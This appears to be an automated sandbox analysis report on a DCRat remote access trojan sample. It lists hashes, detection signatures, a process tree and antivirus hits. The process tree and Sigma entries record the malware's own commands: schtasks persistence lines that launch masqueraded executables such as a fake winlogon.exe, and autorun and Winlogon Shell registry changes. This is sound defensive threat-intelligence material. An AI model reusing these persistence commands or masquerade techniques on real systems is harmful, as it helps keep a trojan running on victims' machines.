Edit tour

Windows Analysis Report
H9gMIu2HXi.exe

Overview

General Information

Sample name:	H9gMIu2HXi.exe renamed because original name is a hash value
Original sample name:	4fb1d8f8dff638f2c9b382f9552b18e2.bin.exe
Analysis ID:	1417539
MD5:	4fb1d8f8dff638f2c9b382f9552b18e2
SHA1:	5bc4dbad7914ceb72dba45d1b1efffba40143653
SHA256:	b706a1a67f20b5e029c058de6a1e681a36fea762f69b9d983921d0e47ec2bc6c
Tags:	DCRatexe
Infos:

Detection

DCRat

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Schedule system process

Snort IDS alert for network traffic

Yara detected DCRat

.NET source code contains potential unpacker

.NET source code contains very large strings

.NET source code references suspicious native API functions

Creates an undocumented autostart registry key

Creates multiple autostart registry keys

Creates processes via WMI

Infects executable files (exe, dll, sys, html)

Machine Learning detection for dropped file

Sample uses string decryption to hide its real strings

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: System File Execution Location Anomaly

Sigma detected: WScript or CScript Dropper

Uses schtasks.exe or at.exe to add and modify task schedules

Uses the Telegram API (likely for C&C communication)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Allocates memory with a write watch (potentially for evading sandboxes)

Compiles C# or VB.Net code

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

File is packed with WinRar

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found evasive API chain checking for process token information

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: CurrentVersion NT Autorun Keys Modification

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Remote Thread Creation By Uncommon Source Image

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Tries to load missing DLLs

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

H9gMIu2HXi.exe (PID: 7492 cmdline: "C:\Users\user\Desktop\H9gMIu2HXi.exe" MD5: 4FB1D8F8DFF638F2C9B382F9552B18E2)

cmd.exe (PID: 7532 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\RarSFX0\1.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7540 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

work.exe (PID: 7588 cmdline: work.exe -priverdD MD5: E0A16200BD098799073FCB05E9D31300)

dwartg.exe (PID: 7628 cmdline: "C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe" MD5: 1C051E7154F24C6BEA5788CBE9DCB478)

wscript.exe (PID: 7680 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\msBroker\xIIr5uE.vbe" MD5: FF00E0480075B095948000BDC66E81F0)

cmd.exe (PID: 7740 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\msBroker\2lT5LH2HofMC1aCPgzVrsLj8Fs1JHh.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7748 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

SurrogatewebSession.exe (PID: 7784 cmdline: "C:\Users\user\AppData\Roaming\msBroker/SurrogatewebSession.exe" MD5: 1F994BA149832A45EBEDCE2D36A2CA21)

schtasks.exe (PID: 7836 cmdline: schtasks.exe /create /tn "vXKtedDiKZHKptbUFqIBdHmZv" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\msbuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7860 cmdline: schtasks.exe /create /tn "vXKtedDiKZHKptbUFqIBdHmZ" /sc ONLOGON /tr "'C:\Program Files (x86)\msbuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7884 cmdline: schtasks.exe /create /tn "vXKtedDiKZHKptbUFqIBdHmZv" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\msbuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

csc.exe (PID: 7900 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\jz2mm1cv\jz2mm1cv.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

conhost.exe (PID: 7908 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cvtres.exe (PID: 7984 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES41D7.tmp" "c:\Windows\System32\CSCD00016AF5F994D2B979CA07EFAA630F3.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

schtasks.exe (PID: 8024 cmdline: schtasks.exe /create /tn "vXKtedDiKZHKptbUFqIBdHmZv" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 8064 cmdline: schtasks.exe /create /tn "vXKtedDiKZHKptbUFqIBdHmZ" /sc ONLOGON /tr "'C:\Program Files (x86)\java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 8096 cmdline: schtasks.exe /create /tn "vXKtedDiKZHKptbUFqIBdHmZv" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 8120 cmdline: schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 8 /tr "'C:\Recovery\winlogon.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 8148 cmdline: schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\Recovery\winlogon.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 8172 cmdline: schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 5 /tr "'C:\Recovery\winlogon.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7172 cmdline: schtasks.exe /create /tn "vXKtedDiKZHKptbUFqIBdHmZv" /sc MINUTE /mo 8 /tr "'C:\Program Files\Microsoft Office 15\vXKtedDiKZHKptbUFqIBdHmZ.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7236 cmdline: schtasks.exe /create /tn "vXKtedDiKZHKptbUFqIBdHmZ" /sc ONLOGON /tr "'C:\Program Files\Microsoft Office 15\vXKtedDiKZHKptbUFqIBdHmZ.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7268 cmdline: schtasks.exe /create /tn "vXKtedDiKZHKptbUFqIBdHmZv" /sc MINUTE /mo 5 /tr "'C:\Program Files\Microsoft Office 15\vXKtedDiKZHKptbUFqIBdHmZ.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7292 cmdline: schtasks.exe /create /tn "vXKtedDiKZHKptbUFqIBdHmZv" /sc MINUTE /mo 9 /tr "'C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 2564 cmdline: schtasks.exe /create /tn "vXKtedDiKZHKptbUFqIBdHmZ" /sc ONLOGON /tr "'C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 1804 cmdline: schtasks.exe /create /tn "vXKtedDiKZHKptbUFqIBdHmZv" /sc MINUTE /mo 11 /tr "'C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6488 cmdline: schtasks.exe /create /tn "SurrogatewebSessionS" /sc MINUTE /mo 12 /tr "'C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7388 cmdline: schtasks.exe /create /tn "SurrogatewebSession" /sc ONLOGON /tr "'C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 4304 cmdline: schtasks.exe /create /tn "SurrogatewebSessionS" /sc MINUTE /mo 8 /tr "'C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 7596 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\NZDl7DWO67.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7612 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 7528 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

w32tm.exe (PID: 7696 cmdline: w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 MD5: 81A82132737224D324A3E8DA993E2FB5)

SurrogatewebSession.exe (PID: 7916 cmdline: "C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe" MD5: 1F994BA149832A45EBEDCE2D36A2CA21)

vXKtedDiKZHKptbUFqIBdHmZ.exe (PID: 7948 cmdline: "C:\Program Files (x86)\msbuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe" MD5: 1F994BA149832A45EBEDCE2D36A2CA21)

vXKtedDiKZHKptbUFqIBdHmZ.exe (PID: 7964 cmdline: "C:\Program Files (x86)\msbuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe" MD5: 1F994BA149832A45EBEDCE2D36A2CA21)

SurrogatewebSession.exe (PID: 7552 cmdline: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe MD5: 1F994BA149832A45EBEDCE2D36A2CA21)

SurrogatewebSession.exe (PID: 7556 cmdline: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe MD5: 1F994BA149832A45EBEDCE2D36A2CA21)

winlogon.exe (PID: 7568 cmdline: C:\Recovery\winlogon.exe MD5: 1F994BA149832A45EBEDCE2D36A2CA21)

winlogon.exe (PID: 7532 cmdline: C:\Recovery\winlogon.exe MD5: 1F994BA149832A45EBEDCE2D36A2CA21)

vXKtedDiKZHKptbUFqIBdHmZ.exe (PID: 7264 cmdline: "C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe" MD5: 1F994BA149832A45EBEDCE2D36A2CA21)

winlogon.exe (PID: 7832 cmdline: "C:\Recovery\winlogon.exe" MD5: 1F994BA149832A45EBEDCE2D36A2CA21)

cmd.exe (PID: 7260 cmdline: "C:\Windows\System32\cmd.exe" /c "C:\Recovery\winlogon.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5000 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus https://blogs.blackberry.com/en/2022/05/dirty-deeds-done-dirt-cheap-russian-rat-offers-backdoor-bargains	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Yara Signatures

Dropped Files

Source	Rule	Description	Author
C:\Program Files (x86)\Java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
C:\Program Files (x86)\Java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
C:\Program Files (x86)\Java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
C:\Program Files (x86)\Java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
C:\Recovery\winlogon.exe	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Click to see the 2 entries

Memory Dumps

Source	Rule	Description	Author
00000008.00000000.1663208372.0000000000BC2000.00000002.00000001.01000000.0000000D.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000004.00000003.1624273489.0000000006FB2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000004.00000003.1624823463.0000000004F0D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000004.00000003.1623801206.00000000066A6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000003.00000003.1620690565.0000000004F96000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: work.exe PID: 7588	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: dwartg.exe PID: 7628	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: SurrogatewebSession.exe PID: 7784	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author
8.0.SurrogatewebSession.exe.bc0000.0.unpack	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
4.3.dwartg.exe.66f46d6.0.raw.unpack	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
4.3.dwartg.exe.70006d6.1.raw.unpack	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
4.3.dwartg.exe.70006d6.1.unpack	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
4.3.dwartg.exe.66f46d6.0.unpack	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe, ProcessId: 7784, TargetFilename: C:\Recovery\winlogon.exe

Sigma detected: System File Execution Location Anomaly

Source: Process started

Author: Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali: Data: Command: C:\Recovery\winlogon.exe, CommandLine: C:\Recovery\winlogon.exe, CommandLine|base64offset|contains: , Image: C:\Recovery\winlogon.exe, NewProcessName: C:\Recovery\winlogon.exe, OriginalFileName: C:\Recovery\winlogon.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1044, ProcessCommandLine: C:\Recovery\winlogon.exe, ProcessId: 7568, ProcessName: winlogon.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\msBroker\xIIr5uE.vbe" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\msBroker\xIIr5uE.vbe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe, ParentProcessId: 7628, ParentProcessName: dwartg.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\msBroker\xIIr5uE.vbe" , ProcessId: 7680, ProcessName: wscript.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Program Files (x86)\msbuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe", EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe, ProcessId: 7784, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\vXKtedDiKZHKptbUFqIBdHmZ

Sigma detected: CurrentVersion NT Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: explorer.exe, "C:\Program Files (x86)\msbuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe", EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe, ProcessId: 7784, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\jz2mm1cv\jz2mm1cv.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\jz2mm1cv\jz2mm1cv.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\msBroker/SurrogatewebSession.exe", ParentImage: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe, ParentProcessId: 7784, ParentProcessName: SurrogatewebSession.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\jz2mm1cv\jz2mm1cv.cmdline", ProcessId: 7900, ProcessName: csc.exe

Sigma detected: Remote Thread Creation By Uncommon Source Image

Source: Threat created

Author: Perez Diego (@darkquassar), oscd.community: Data: EventID: 8, SourceImage: C:\Recovery\winlogon.exe, SourceProcessId: 7532, StartAddress: FB11FF80, TargetImage: C:\Windows\SysWOW64\cmd.exe, TargetProcessId: 7532

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks.exe /create /tn "vXKtedDiKZHKptbUFqIBdHmZv" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\msbuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe'" /f, CommandLine: schtasks.exe /create /tn "vXKtedDiKZHKptbUFqIBdHmZv" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\msbuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe'" /f, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\msBroker/SurrogatewebSession.exe", ParentImage: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe, ParentProcessId: 7784, ParentProcessName: SurrogatewebSession.exe, ProcessCommandLine: schtasks.exe /create /tn "vXKtedDiKZHKptbUFqIBdHmZv" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\msbuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe'" /f, ProcessId: 7836, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks.exe /create /tn "SurrogatewebSessionS" /sc MINUTE /mo 12 /tr "'C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe'" /f, CommandLine: schtasks.exe /create /tn "SurrogatewebSessionS" /sc MINUTE /mo 12 /tr "'C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe'" /f, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\msBroker/SurrogatewebSession.exe", ParentImage: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe, ParentProcessId: 7784, ParentProcessName: SurrogatewebSession.exe, ProcessCommandLine: schtasks.exe /create /tn "SurrogatewebSessionS" /sc MINUTE /mo 12 /tr "'C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe'" /f, ProcessId: 6488, ProcessName: schtasks.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\msBroker\xIIr5uE.vbe" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\msBroker\xIIr5uE.vbe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe, ParentProcessId: 7628, ParentProcessName: dwartg.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\msBroker\xIIr5uE.vbe" , ProcessId: 7680, ProcessName: wscript.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe, ProcessId: 7784, TargetFilename: C:\Users\user\AppData\Local\Temp\jz2mm1cv\jz2mm1cv.cmdline

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Recovery\winlogon.exe, CommandLine: C:\Recovery\winlogon.exe, CommandLine|base64offset|contains: , Image: C:\Recovery\winlogon.exe, NewProcessName: C:\Recovery\winlogon.exe, OriginalFileName: C:\Recovery\winlogon.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1044, ProcessCommandLine: C:\Recovery\winlogon.exe, ProcessId: 7568, ProcessName: winlogon.exe

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\jz2mm1cv\jz2mm1cv.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\jz2mm1cv\jz2mm1cv.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\msBroker/SurrogatewebSession.exe", ParentImage: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe, ParentProcessId: 7784, ParentProcessName: SurrogatewebSession.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\jz2mm1cv\jz2mm1cv.cmdline", ProcessId: 7900, ProcessName: csc.exe

Persistence and Installation Behavior

Sigma detected: Schedule system process

Source: Process started

Author: Joe Security: Data: Command: schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 8 /tr "'C:\Recovery\winlogon.exe'" /f, CommandLine: schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 8 /tr "'C:\Recovery\winlogon.exe'" /f, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\msBroker/SurrogatewebSession.exe", ParentImage: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe, ParentProcessId: 7784, ParentProcessName: SurrogatewebSession.exe, ProcessCommandLine: schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 8 /tr "'C:\Recovery\winlogon.exe'" /f, ProcessId: 8120, ProcessName: schtasks.exe

Snort Signatures

ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST) - Source IP: 192.168.2.4 - Destination IP: 104.21.79.128

Timestamp:	03/29/24-15:27:21.388590
SID:	2048095
Source Port:	49739
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Program Files (x86)\Java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe	Avira: detection malicious, Label: HEUR/AGEN.1309961
Source: C:\Users\user\Desktop\BudDliLc.log	Avira: detection malicious, Label: HEUR/AGEN.1300079
Source: C:\Users\user\Desktop\LdxTVLQK.log	Avira: detection malicious, Label: TR/PSW.Agent.qngqt
Source: C:\Program Files (x86)\Java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe	Avira: detection malicious, Label: HEUR/AGEN.1309961
Source: C:\Users\user\AppData\Roaming\msBroker\xIIr5uE.vbe	Avira: detection malicious, Label: VBS/Runner.VPG
Source: C:\Users\user\Desktop\MFrsFgjH.log	Avira: detection malicious, Label: TR/PSW.Agent.qngqt
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Avira: detection malicious, Label: HEUR/AGEN.1309961
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Avira: detection malicious, Label: VBS/Runner.VPG
Source: C:\Users\user\AppData\Local\Temp\NZDl7DWO67.bat	Avira: detection malicious, Label: BAT/Runner.IL
Source: C:\Program Files (x86)\Java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe	Avira: detection malicious, Label: HEUR/AGEN.1309961
Source: C:\Recovery\winlogon.exe	Avira: detection malicious, Label: HEUR/AGEN.1309961
Source: C:\Program Files (x86)\Java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe	Avira: detection malicious, Label: HEUR/AGEN.1309961
Source: C:\Users\user\Desktop\vybNluDs.log	Avira: detection malicious, Label: HEUR/AGEN.1300079

Multi AV Scanner detection for dropped file

